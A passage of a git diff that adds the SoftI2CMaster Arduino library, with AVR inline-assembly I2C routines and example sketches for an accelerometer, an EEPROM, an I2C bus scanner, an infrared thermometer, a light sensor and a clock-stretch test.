%[SCLDDR],%[SCLPIN] ;force SCL low ;; +2 = 5C \n\t" + " nop \n\t" + " nop \n\t" + " cbi %[SDADDR],%[SDAPIN] ;release SDA ;;+2 = 7C \n\t" +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;; +X = 7C+X \n\t" +#endif + " clr r25 ;; 17C+2X \n\t" + " clr r24 ;return 0 ;; 14C + X \n\t" + " cbi %[SCLDDR],%[SCLPIN] ;release SCL ;; +2 = 9C+X\n\t" + "_Li2c_ack_wait: \n\t" + " cln ; clear N-bit ;; 10C + X\n\t" + " nop \n\t" + " sbis %[SCLIN],%[SCLPIN] ;wait SCL high ;; 12C + X \n\t" + " rcall ass_i2c_wait_scl_high \n\t" + " brmi _Li2c_write_return_false ;; 13C + X \n\t " + " sbis %[SDAIN],%[SDAPIN] ;if SDA hi -> return 0 ;; 15C + X \n\t" + " ldi r24,1 ;return true ;; 16C + X \n\t" +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;; 16C + 2X \n\t" +#endif + "_Li2c_write_return: \n\t" + " nop \n\t " + " nop \n\t " + " sbi %[SCLDDR],%[SCLPIN] ;force SCL low so SCL=H is short\n\t" + " ret \n\t" + " ;; + 4 = 17C + 2X for acknowldge bit" + :: + [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN), [SCLIN] "I" (SCL_IN), + [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN), [SDAIN] "I" (SDA_IN)); + return true; // fooling the compiler +} + +uint8_t i2c_read(bool last) +{ + __asm__ __volatile__ + ( + " ldi r23,0x01 \n\t" + "_Li2c_read_bit: \n\t" + " sbi %[SCLDDR],%[SCLPIN] ;force SCL low ;; 2C \n\t" + " cbi %[SDADDR],%[SDAPIN] ;release SDA(prev. ACK);; 4C \n\t" + " nop \n\t" + " nop \n\t" + " nop \n\t" +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;; 4C+X \n\t" +#endif + " cbi %[SCLDDR],%[SCLPIN] ;release SCL ;; 6C + X \n\t" +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;; 6C + 2X \n\t" +#endif + " cln ; clear N-bit ;; 7C + 2X \n\t" + " nop \n\t " + " nop \n\t " + " nop \n\t " + " sbis %[SCLIN], %[SCLPIN] ;check for SCL high ;; 9C +2X \n\t" + " rcall ass_i2c_wait_scl_high \n\t" + " brmi _Li2c_read_return ;return if timeout ;; 10C + 2X\n\t" + " clc ;clear carry flag ;; 11C + 2X\n\t" + " sbic %[SDAIN],%[SDAPIN] ;if SDA is high ;; 11C + 2X\n\t" + " sec ;set carry flag ;; 12C + 2X\n\t" + " rol r23 ;store bit ;; 13C + 2X\n\t" + " brcc _Li2c_read_bit ;while receiv reg not full \n\t" + " ;; 15C + 2X for one bit loop \n\t" + + "_Li2c_put_ack: \n\t" + " sbi %[SCLDDR],%[SCLPIN] ;force SCL low ;; 2C \n\t" + " cpi r24,0 ;; 3C \n\t" + " breq _Li2c_put_ack_low ;if (ack=0) ;; 5C \n\t" + " cbi %[SDADDR],%[SDAPIN] ;release SDA \n\t" + " rjmp _Li2c_put_ack_high \n\t" + "_Li2c_put_ack_low: ;else \n\t" + " sbi %[SDADDR],%[SDAPIN] ;force SDA low ;; 7C \n\t" + "_Li2c_put_ack_high: \n\t" + " nop \n\t " + " nop \n\t " + " nop \n\t " +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;; 7C + X \n\t" +#endif + " cbi %[SCLDDR],%[SCLPIN] ;release SCL ;; 9C +X \n\t" + " cln ;clear N ;; +1 = 10C\n\t" + " nop \n\t " + " nop \n\t " + " sbis %[SCLIN],%[SCLPIN] ;wait SCL high ;; 12C + X\n\t" + " rcall ass_i2c_wait_scl_high \n\t" +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;; 11C + 2X\n\t" +#endif + "_Li2c_read_return: \n\t" + " nop \n\t " + " nop \n\t " + "sbi %[SCLDDR],%[SCLPIN] ;force SCL low so SCL=H is short\n\t" + " mov r24,r23 ;; 12C + 2X \n\t" + " clr r25 ;; 13 C + 2X\n\t" + " ret ;; 17C + X" + :: + [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN), [SCLIN] "I" (SCL_IN), + [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN), [SDAIN] "I" (SDA_IN) + ); + return ' '; // fool the compiler! +} + +#endif + + + diff --git a/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/BMA020Soft/BMA020Soft.ino b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/BMA020Soft/BMA020Soft.ino new file mode 100644 index 0000000..cb58cd1 --- /dev/null +++ b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/BMA020Soft/BMA020Soft.ino @@ -0,0 +1,98 @@ +// Simple sketch to read out BMA020 using SoftI2C + +// Readout BMA020 chip + +// use low processor speed (you have to change the baud rate to 2400!) +// #define I2C_CPUFREQ (F_CPU/8) +#define NO_INTERRUPT 1 +#define I2C_TIMEOUT 1000 + +#define SDA_PORT PORTD +#define SDA_PIN 3 +#define SCL_PORT PORTD +#define SCL_PIN 5 +#include +#include + + +#define BMAADDR 0x70 + +int xval, yval, zval; + +void CPUSlowDown(void) { + // slow down processor by a factor of 8 + CLKPR = _BV(CLKPCE); + CLKPR = _BV(CLKPS1) | _BV(CLKPS0); +} + + +boolean setControlBits(uint8_t cntr) +{ + Serial.println(F("Soft reset")); + if (!i2c_start(BMAADDR | I2C_WRITE)) { + return false; + } + if (!i2c_write(0x0A)) { + return false; + } + if (!i2c_write(cntr)) { + return false; + } + i2c_stop(); + return true; +} + +boolean initBma(void) +{ + if (!setControlBits(B00000010)) return false;; + delay(100); + return true; +} + +int readOneVal(boolean last) +{ + uint8_t msb, lsb; + lsb = i2c_read(false); + msb = i2c_read(last); + if (last) i2c_stop(); + return (int)((msb<<8)|lsb)/64; +} + +boolean readBma(void) +{ + xval = 0xFFFF; + yval = 0xFFFF; + zval = 0xFFFF; + if (!i2c_start(BMAADDR | I2C_WRITE)) return false; + if (!i2c_write(0x02)) return false; + if (!i2c_rep_start(BMAADDR | I2C_READ)) return false; + xval = readOneVal(false); + yval = readOneVal(false); + zval = readOneVal(true); + return true; +} + + + +//------------------------------------------------------------------------------ +void setup(void) { +#if I2C_CPUFREQ == (F_CPU/8) + CPUSlowDown(); +#endif + Serial.begin(19200); // in case of CPU slow down, change to baud rate / 8! + if (!initBma()) { + Serial.println(F("INIT ERROR")); + } + +} + +void loop(void){ + if (!readBma()) Serial.println(F("READ ERROR")); + Serial.print(F("X=")); + Serial.print(xval); + Serial.print(F(" Y=")); + Serial.print(yval); + Serial.print(F(" Z=")); + Serial.println(zval); + delay(300); +} diff --git a/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/Eeprom24AA1024Soft/Eeprom24AA1024Soft.ino b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/Eeprom24AA1024Soft/Eeprom24AA1024Soft.ino new file mode 100644 index 0000000..b2062a1 --- /dev/null +++ b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/Eeprom24AA1024Soft/Eeprom24AA1024Soft.ino @@ -0,0 +1,298 @@ +// Sketch to explore 24AA1024 using SoftI2C + +#define SDA_PORT PORTD +#define SDA_PIN 3 +#define SCL_PORT PORTD +#define SCL_PIN 5 +#define I2C_FASTMODE 0 +// #define I2C_TIMEOUT 10 // timeout after 10 msec +// #define I1C_NOINTERRUPT 1 // no interrupts +// #define I2C_CPUFREQ (F_CPU/8) // slow down CPU frequency +#include + +#define EEPROMADDR 0xA6 // set by jumper +#define MAXADDR 0x1FFFF +#define MAXTESTADDR 0x03FFF + +void CPUSlowDown(void) { + // slow down processor by a factor of 8 + CLKPR = _BV(CLKPCE); + CLKPR = _BV(CLKPS1) | _BV(CLKPS0); +} + + +//------------------------------------------------------------------------------ +/* + * read one byte from address + */ +boolean readEEPROM(unsigned long address, uint8_t *byte) { + // issue a start condition, send device address and write direction bit + if (!i2c_start(EEPROMADDR | I2C_WRITE | (address&0x10000 ? 8 : 0) )) return false; + + // send the address + if (!i2c_write((address>>8)&0xFF)) return false; + if (!i2c_write(address&0xFF)) return false; + + // issue a repeated start condition, send device address and read direction bit + if (!i2c_rep_start(EEPROMADDR | I2C_READ | (address&0x10000 ? 8 : 0) ))return false; + + *byte = i2c_read(true); + + i2c_stop(); + return true; +} +//------------------------------------------------------------------------------ +/* + *burst read + */ +boolean readBurstEEPROM(unsigned long start, unsigned long stop) { + // does not handle the transition from 0x0FFFF to 0x10000 + // since we only use it for performance evaluation, we do not care! + unsigned long addr = start; + uint8_t byte; + // issue a start condition, send device address and write direction bit + if (!i2c_start(EEPROMADDR | I2C_WRITE | (addr&0x10000 ? 8 : 0) )) return false; + + // send the address + if (!i2c_write((addr>>8)&0xFF)) return false; + if (!i2c_write(addr&0xFF)) return false; + + // issue a repeated start condition, send device address and read direction bit + if (!i2c_rep_start(EEPROMADDR | I2C_READ | (addr&0x10000 ? 8 : 0) ))return false; + addr++; + while (addr++ < stop) byte = i2c_read(false); + byte = i2c_read(true); + i2c_stop(); + return true; +} + + +//------------------------------------------------------------------------------ + +/* + * write 1 byte to 'address' in eeprom + */ +boolean writeEEPROM(long unsigned address, uint8_t byte) { + // issue a start condition, send device address and write direction bit + if (!i2c_start(EEPROMADDR | I2C_WRITE | (address&0x10000 ? 8 : 0))) return false; + + // send the address + if (!i2c_write((address>>8)&0xFF)) return false; + if (!i2c_write(address&0xFF)) return false; + + + // send data to EEPROM + if (!i2c_write(byte)) return false; + + // issue a stop condition + i2c_stop(); + + delay(6); + + return true; +} + +//------------------------------------------------------------------------------ +/* + * delete eeprom + */ +boolean deleteEEPROM(long unsigned from, unsigned long to, uint8_t byte, + boolean poll) { + + unsigned long tempto, i; + boolean firstpage = true; + + while (from <= to) { + tempto = ((from/128)+1)*128-1; + if (tempto > to) tempto = to; + if (firstpage || !poll) { + if (!i2c_start(EEPROMADDR | I2C_WRITE | (from&0x10000 ? 8 : 0))) + return false; + } else i2c_start_wait(EEPROMADDR | I2C_WRITE | (from&0x10000 ? 8 : 0)); + // send the address + if (!i2c_write((from>>8)&0xFF)) return false; + if (!i2c_write(from&0xFF)) return false; + + + // send data to EEPROM + for (i=from; i<=tempto; i++) + if (!i2c_write(byte)) return false; + // issue a stop condition + i2c_stop(); + + // wait for ack again + if (!poll) delay(6); + + from = tempto+1; + firstpage = false; + } + return true; +} + +//------------------------------------------------------------------------------ +boolean performanceTest() { + unsigned long eeaddr; + unsigned long startmicros, endmicros; + int avgtime; + boolean OK = true; + uint8_t byte; + + Serial.println(F("\nPerformance test:")); + + Serial.println(F("Sequential reads ...")); + startmicros = micros(); + OK &= readBurstEEPROM(0,MAXTESTADDR); + endmicros = micros(); + Serial.print(F("Time: ")); + avgtime = (endmicros-startmicros)/(MAXTESTADDR+1); + Serial.print(avgtime); + Serial.println(F(" micro secs/byte")); + + Serial.println(F("Random reads ...")); + startmicros = micros(); + for (eeaddr = 0; eeaddr <= MAXTESTADDR; eeaddr++) + OK &= readEEPROM(eeaddr,&byte); + endmicros = micros(); + Serial.print(F("Time: ")); + avgtime = (endmicros-startmicros)/(MAXTESTADDR+1); + Serial.print(avgtime); + Serial.println(F(" micro secs/byte")); + + Serial.println(F("Page writes with wait ...")); + startmicros = micros(); + OK &= deleteEEPROM(0,MAXTESTADDR,0xFF,false); + endmicros = micros(); + Serial.print(F("Time: ")); + avgtime = (endmicros-startmicros)/(MAXTESTADDR+1); + Serial.print(avgtime); + Serial.println(F(" micro secs/byte")); + + Serial.println(F("Page writes with poll ...")); + startmicros = micros(); + OK &= deleteEEPROM(0,MAXTESTADDR,0xFF,true); + endmicros = micros(); + Serial.print(F("Time: ")); + avgtime = (endmicros-startmicros)/(MAXTESTADDR+1); + Serial.print(avgtime); + Serial.println(F(" micro secs/byte")); + + return OK; +} +//------------------------------------------------------------------------------ + +unsigned long parseHex() { + unsigned long result = 0L; + char byte = '\0'; + + // while (hexdigit(byte)) { + while (byte != '\r' && byte != '#') { + while (!Serial.available()); + byte = Serial.read(); + // if (!hexdigit(byte)) break; + if (byte == '\r' || byte == '#') break; + if (byte >= 'a' && byte <= 'f') + byte = byte -'a' + 'A'; + if ((byte >= '0' && byte <= '9') || + (byte >= 'A' && byte <= 'F')) { + Serial.print(byte); + if (byte >= '0' && byte <= '9') byte = byte - '0'; + else byte = byte - 'A' + 10; + result = result * 16; + result = result + byte; + } + } + Serial.println(); + return result; +} + +void help (void) { + Serial.println(); + Serial.println(F("r - read byte from address")); + Serial.println(F("w - write byte to address")); + Serial.println(F("d - delete from start address to end address")); + Serial.println(F("l - list memory range")); + Serial.println(F("p - test performance")); + Serial.println(F("h - help message")); + Serial.println(F("Finish all numeric inputs with '#'")); +} + +//------------------------------------------------------------------------------ + + + +void setup(void) { +#if I2C_CPUFREQ == (F_CPU/8) + CPUSlowDown(); +#endif + + Serial.begin(19200); + Serial.println(F("\n\nTest program for EEPROM 24AA1024")); + help(); +} + + +void loop(void) { + char cmd; + uint8_t byte; + boolean noterror; + unsigned long addr, toaddr; + + while (!Serial.available()); + cmd = Serial.read(); + switch (cmd) { + case 'r': Serial.print(F("Read from addr: ")); + addr = parseHex(); + Serial.println(F("Reading...")); + noterror = readEEPROM(addr,&byte); + Serial.print(addr,HEX); + Serial.print(F(": ")); + Serial.println(byte,HEX); + if (!noterror) Serial.println(F("Error while reading")); + break; + case 'w': + Serial.print(F("Write to addr: ")); + addr = parseHex(); + Serial.print(F("Value: ")); + byte = parseHex(); + Serial.println(F("Writing...")); + noterror = writeEEPROM(addr,byte); + if (!noterror) Serial.println(F("Error while reading")); + break; + case 'd': + Serial.print(F("Delete from addr: ")); + addr = parseHex(); + Serial.print(F("to addr: ")); + toaddr = parseHex(); + Serial.print(F("Value: ")); + byte = parseHex(); + Serial.print(F("Deleting ... ")); + noterror = deleteEEPROM(addr,toaddr,byte,false); + Serial.println(F("...done")); + if (!noterror) Serial.println(F("Error while deleting")); + break; + case 'l': + Serial.print(F("List from addr: ")); + addr = parseHex(); + Serial.print(F("to addr: ")); + toaddr = parseHex(); + while (addr <= toaddr) { + noterror = readEEPROM(addr,&byte); + Serial.print(addr,HEX); + Serial.print(F(": ")); + Serial.println(byte,HEX); + if (!noterror) Serial.println(F("Error while reading")); + addr++; + } + case 'p': + noterror = performanceTest(); + if (!noterror) Serial.println(F("Error while executing performance test")); + break; + case 'h': + help(); + break; + default: + Serial.println(F("Unknown command")); + Serial.println(); + help(); + } +} diff --git a/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/I2CScanSoft/I2CScanSoft.ino b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/I2CScanSoft/I2CScanSoft.ino new file mode 100644 index 0000000..4f411e0 --- /dev/null +++ b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/I2CScanSoft/I2CScanSoft.ino @@ -0,0 +1,91 @@ +// Scan I2C bus for device responses + +#define SDA_PORT PORTD +#define SDA_PIN 3 +#define SCL_PORT PORTD +#define SCL_PIN 5 +#define I2C_TIMEOUT 100 +#define I2C_NOINTERRUPT 0 +#define I2C_SLOWMODE 1 +#define FAC 1 +#define I2C_CPUFREQ (F_CPU/FAC) + + +/* Corresponds to A4/A5 - the hardware I2C pins on Arduinos +#define SDA_PORT PORTC +#define SDA_PIN 4 +#define SCL_PORT PORTC +#define SCL_PIN 5 +#define I2C_FASTMODE 1 +*/ + +#include +#include + +//------------------------------------------------------------------------------ +void CPUSlowDown(int fac) { + // slow down processor by a fac + CLKPR = _BV(CLKPCE); + CLKPR = _BV(CLKPS1) | _BV(CLKPS0); +} + + + +void setup(void) { +#if FAC != 1 + CPUSlowDown(FAC); +#endif + + Serial.begin(19200); // change baudrate to 2400 on terminal when low CPU freq! + Serial.println(F("Intializing ...")); + Serial.print("I2C delay counter: "); + Serial.println(I2C_DELAY_COUNTER); + if (!i2c_init()) + Serial.println(F("Initialization error. SDA or SCL are low")); + else + Serial.println(F("...done")); +} + +void loop(void) +{ + uint8_t add = 0; + int found = false; + Serial.println("Scanning ..."); + + Serial.println(" 8-bit 7-bit addr"); + // try read + do { + if (i2c_start(add | I2C_READ)) { + found = true; + i2c_read(true); + i2c_stop(); + Serial.print("Read: 0x"); + if (add < 0x0F) Serial.print(0, HEX); + Serial.print(add+I2C_READ, HEX); + Serial.print(" 0x"); + if (add>>1 < 0x0F) Serial.print(0, HEX); + Serial.println(add>>1, HEX); + } else i2c_stop(); + add += 2; + } while (add); + + // try write + add = 0; + do { + if (i2c_start(add | I2C_WRITE)) { + found = true; + i2c_stop(); + Serial.print("Write: 0x"); + if (add < 0x0F) Serial.print(0, HEX); + Serial.print(add+I2C_WRITE, HEX); + Serial.print(" 0x"); + if (add>>1 < 0x0F) Serial.print(0, HEX); + Serial.println(add>>1, HEX); + } else i2c_stop(); + i2c_stop(); + add += 2; + } while (add); + if (!found) Serial.println(F("No I2C device found.")); + Serial.println("Done\n\n"); + delay(1000/FAC); +} diff --git a/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/MLX90614Soft/MLX90614Soft.ino b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/MLX90614Soft/MLX90614Soft.ino new file mode 100644 index 0000000..879d28f --- /dev/null +++ b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/MLX90614Soft/MLX90614Soft.ino @@ -0,0 +1,60 @@ +// reads out the MLX90614 infrared thermometer + +#include +#define SDA_PORT PORTD +#define SDA_PIN 3 +#define SCL_PORT PORTD +#define SCL_PIN 5 +#include + + + +#define DEVICE (0x5A<<1) + + + +void setup(){ +#if (__AVR_ARCH__ == 5) // means ATMEGA + Serial.begin(19200); + Serial.println("Setup..."); +#endif + i2c_init(); +} + +void loop(){ + int dev = 0x5A<<1; + int data_low = 0; + int data_high = 0; + int pec = 0; + + i2c_start(dev+I2C_WRITE); + i2c_write(0x07); + // read + i2c_rep_start(dev+I2C_READ); + data_low = i2c_read(false); //Read 1 byte and then send ack + data_high = i2c_read(false); //Read 1 byte and then send ack + pec = i2c_read(true); + i2c_stop(); + + //This converts high and low bytes together and processes temperature, MSB is a error bit and is ignored for temps + double tempFactor = 0.02; // 0.02 degrees per LSB (measurement resolution of the MLX90614) + double tempData = 0x0000; // zero out the data + int frac; // data past the decimal point + + // This masks off the error bit of the high byte, then moves it left 8 bits and adds the low byte. + tempData = (double)(((data_high & 0x007F) << 8) + data_low); + tempData = (tempData * tempFactor)-0.01; + + float celcius = tempData - 273.15; + float fahrenheit = (celcius*1.8) + 32; + +#if (__AVR_ARCH__ == 5) // means ATMEGA + Serial.print("Celcius: "); + Serial.println(celcius); + + Serial.print("Fahrenheit: "); + Serial.println(fahrenheit); +#endif + + delay(1000); // wait a second before printing again +} diff --git a/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/TSL2561Soft/TSL2561Soft.h b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/TSL2561Soft/TSL2561Soft.h new file mode 100644 index 0000000..e9cd175 --- /dev/null +++ b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/TSL2561Soft/TSL2561Soft.h @@ -0,0 +1,53 @@ +#ifndef _TSL2561_H_ +#define _TSL2561_H_ + +#define TSL2561_VISIBLE 2 // channel 0 - channel 1 +#define TSL2561_INFRARED 1 // channel 1 +#define TSL2561_FULLSPECTRUM 0 // channel 0 + +#define TSL2561_LUX_LUXSCALE (14) // Scale by 2^14 +#define TSL2561_LUX_RATIOSCALE (9) // Scale ratio by 2^9 +#define TSL2561_LUX_CHSCALE (10) // Scale channel values by 2^10 +#define TSL2561_LUX_CHSCALE_TINT0 (0x7517) // 322/11 * 2^TSL2561_LUX_CHSCALE +#define TSL2561_LUX_CHSCALE_TINT1 (0x0FE7) // 322/81 * 2^TSL2561_LUX_CHSCALE + +// T, FN and CL package values +#define TSL2561_LUX_K1T (0x0040) // 0.125 * 2^RATIO_SCALE +#define TSL2561_LUX_B1T (0x01f2) // 0.0304 * 2^LUX_SCALE +#define TSL2561_LUX_M1T (0x01be) // 0.0272 * 2^LUX_SCALE +#define TSL2561_LUX_K2T (0x0080) // 0.250 * 2^RATIO_SCALE +#define TSL2561_LUX_B2T (0x0214) // 0.0325 * 2^LUX_SCALE +#define TSL2561_LUX_M2T (0x02d1) // 0.0440 * 2^LUX_SCALE +#define TSL2561_LUX_K3T (0x00c0) // 0.375 * 2^RATIO_SCALE +#define TSL2561_LUX_B3T (0x023f) // 0.0351 * 2^LUX_SCALE +#define TSL2561_LUX_M3T (0x037b) // 0.0544 * 2^LUX_SCALE +#define TSL2561_LUX_K4T (0x0100) // 0.50 * 2^RATIO_SCALE +#define TSL2561_LUX_B4T (0x0270) // 0.0381 * 2^LUX_SCALE +#define TSL2561_LUX_M4T (0x03fe) // 0.0624 * 2^LUX_SCALE +#define TSL2561_LUX_K5T (0x0138) // 0.61 * 2^RATIO_SCALE +#define TSL2561_LUX_B5T (0x016f) // 0.0224 * 2^LUX_SCALE +#define TSL2561_LUX_M5T (0x01fc) // 0.0310 * 2^LUX_SCALE +#define TSL2561_LUX_K6T (0x019a) // 0.80 * 2^RATIO_SCALE +#define TSL2561_LUX_B6T (0x00d2) // 0.0128 * 2^LUX_SCALE +#define TSL2561_LUX_M6T (0x00fb) // 0.0153 * 2^LUX_SCALE +#define TSL2561_LUX_K7T (0x029a) // 1.3 * 2^RATIO_SCALE +#define TSL2561_LUX_B7T (0x0018) // 0.00146 * 2^LUX_SCALE +#define TSL2561_LUX_M7T (0x0012) // 0.00112 * 2^LUX_SCALE +#define TSL2561_LUX_K8T (0x029a) // 1.3 * 2^RATIO_SCALE +#define TSL2561_LUX_B8T (0x0000) // 0.000 * 2^LUX_SCALE +#define TSL2561_LUX_M8T (0x0000) // 0.000 * 2^LUX_SCALE + +// Auto-gain thresholds +#define TSL2561_AGC_THI_13MS (4850) // Max value at Ti 13ms = 5047 +#define TSL2561_AGC_TLO_13MS (100) +#define TSL2561_AGC_THI_101MS (36000) // Max value at Ti 101ms = 37177 +#define TSL2561_AGC_TLO_101MS (200) +#define TSL2561_AGC_THI_402MS (63000) // Max value at Ti 402ms = 65535 +#define TSL2561_AGC_TLO_402MS (500) + +// Clipping thresholds +#define TSL2561_CLIPPING_13MS (4900) +#define TSL2561_CLIPPING_101MS (37000) +#define TSL2561_CLIPPING_402MS (65000) + +#endif diff --git a/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/TSL2561Soft/TSL2561Soft.ino b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/TSL2561Soft/TSL2561Soft.ino new file mode 100644 index 0000000..cacef37 --- /dev/null +++ b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/TSL2561Soft/TSL2561Soft.ino @@ -0,0 +1,100 @@ +// Sketch to explore the luminosity sensor TSL2561 (breakout board by Adafruit) + +#define SDA_PORT PORTD +#define SDA_PIN 3 +#define SCL_PORT PORTD +#define SCL_PIN 5 + +#include +#include "TSL2561Soft.h" + +#define ADDR 0x72 + +//------------------------------------------------------------------------------ +unsigned long computeLux(unsigned long channel0, unsigned long channel1){ + + /* Make sure the sensor isn't saturated! */ + uint16_t clipThreshold = TSL2561_CLIPPING_402MS;; + + /* Return 0 lux if the sensor is saturated */ + if ((channel0 > clipThreshold) || (channel1 > clipThreshold)) + { + Serial.println(F("Sensor is saturated")); + return 32000; + } + + /* Find the ratio of the channel values (Channel1/Channel0) */ + unsigned long ratio1 = 0; + if (channel0 != 0) ratio1 = (channel1 << (TSL2561_LUX_RATIOSCALE+1)) / channel0; + + /* round the ratio value */ + unsigned long ratio = (ratio1 + 1) >> 1; + + unsigned int b, m; + + if ((ratio >= 0) && (ratio <= TSL2561_LUX_K1T)) + {b=TSL2561_LUX_B1T; m=TSL2561_LUX_M1T;} + else if (ratio <= TSL2561_LUX_K2T) + {b=TSL2561_LUX_B2T; m=TSL2561_LUX_M2T;} + else if (ratio <= TSL2561_LUX_K3T) + {b=TSL2561_LUX_B3T; m=TSL2561_LUX_M3T;} + else if (ratio <= TSL2561_LUX_K4T) + {b=TSL2561_LUX_B4T; m=TSL2561_LUX_M4T;} + else if (ratio <= TSL2561_LUX_K5T) + {b=TSL2561_LUX_B5T; m=TSL2561_LUX_M5T;} + else if (ratio <= TSL2561_LUX_K6T) + {b=TSL2561_LUX_B6T; m=TSL2561_LUX_M6T;} + else if (ratio <= TSL2561_LUX_K7T) + {b=TSL2561_LUX_B7T; m=TSL2561_LUX_M7T;} + else if (ratio > TSL2561_LUX_K8T) + {b=TSL2561_LUX_B8T; m=TSL2561_LUX_M8T;} + + unsigned long temp; + temp = ((channel0 * b) - (channel1 * m)); + + /* Do not allow negative lux value */ + if (temp < 0) temp = 0; + + /* Round lsb (2^(LUX_SCALE-1)) */ + temp += (1 << (TSL2561_LUX_LUXSCALE-1)); + + /* Strip off fractional portion */ + uint32_t lux = temp >> TSL2561_LUX_LUXSCALE; + + return lux; +} + +void setup(void) { + + Serial.begin(19200); + Serial.println("Initializing ..."); + i2c_init(); + + if (!i2c_start(ADDR | I2C_WRITE)) Serial.println(F("Device does not respond")); + if (!i2c_write(0x80)) Serial.println(F("Cannot address reg 0")); + if (!i2c_write(0x03)) Serial.println(F("Cannot wake up")); + i2c_stop(); +} + +void loop (void) { + unsigned int low0, high0, low1, high1; + unsigned int chan0, chan1; + unsigned int lux; + + delay(1000); + i2c_start(ADDR | I2C_WRITE); + i2c_write(0x8C); + i2c_rep_start(ADDR | I2C_READ); + low0 = i2c_read(false); + high0 = i2c_read(false); + low1 = i2c_read(false); + high1 = i2c_read(true); + i2c_stop(); + Serial.print(F("Raw values: chan0=")); + Serial.print(chan0=(low0+(high0<<8))); + Serial.print(F(" / chan1=")); + Serial.println(chan1=(low1+(high1<<8))); + lux = computeLux(chan0,chan1); + Serial.print(F("Lux value=")); + Serial.println(lux); +} diff --git a/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/stretchTest/stretchTest.ino b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/stretchTest/stretchTest.ino new file mode 100644 index 0000000..b9c0c18 --- /dev/null +++ b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/examples/stretchTest/stretchTest.ino @@ -0,0 +1,52 @@ +// This is a short sketch that stretches the low pulse on an I2C bus +// in order to test the timeout feature. +// Put any Arduino and I2C device, e.g. a memory chip, as usual on a breadboard, +// then use another Arduino and flash this program into it. Connect the +// pin 5 (of PORTD) with the SCL line and verify on the scope that the +// low period is indeed stretched. + +#include + +#define SCL_PORT PORTD +#define SCL_PIN 5 + +#define DELAY 8 // strech SCL low for that many milli seconds + +#define SCL_DDR (_SFR_IO_ADDR(SCL_PORT) - 1) +#define SCL_OUT _SFR_IO_ADDR(SCL_PORT) +#define SCL_IN (_SFR_IO_ADDR(SCL_PORT) - 2) + +void initScl(void) { + asm volatile + (" cbi %[SCLDDR],%[SCLPIN] ;release SCL \n\t" + " cbi %[SCLOUT],%[SCLPIN] ;clear SCL output value \n\t" + :: [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN), [SCLOUT] "I" (SCL_OUT)); +} + +void grabScl(void) { + asm volatile + ("_L_wait: \n\t" + " sbic %[SCLIN],%[SCLPIN] \n\t" + " rjmp _L_wait \n\t" + " sbi %[SCLDDR],%[SCLPIN]" + ::[SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN), [SCLIN] "I" (SCL_IN)); +} + +void releaseScl(void) { + asm volatile + (" cbi %[SCLDDR],%[SCLPIN] \n\t" + :: [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN)); +} + +void setup(void) +{ + Serial.begin(19200); + Serial.println("Intializing ..."); + initScl(); +} + +void loop(void) { + grabScl(); + delay(DELAY); + releaseScl(); +} diff --git a/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/license.txt b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/license.txt new file mode 100644 index 0000000..4bbfa39 --- /dev/null +++ b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/license.txt @@ -0,0 +1,25 @@ +Software License Agreement (BSD License) + +Copyright (c) 2012, Adafruit Industries. All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: +1. Redistributions of source code must retain the above copyright +notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright +notice, this list of conditions and the following disclaimer in the +documentation and/or other materials provided with the distribution. +3. Neither the name of the copyright holders nor the names of its +contributors may be used to endorse or promote products derived from +this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ''AS IS'' AND ANY +EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY +DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE 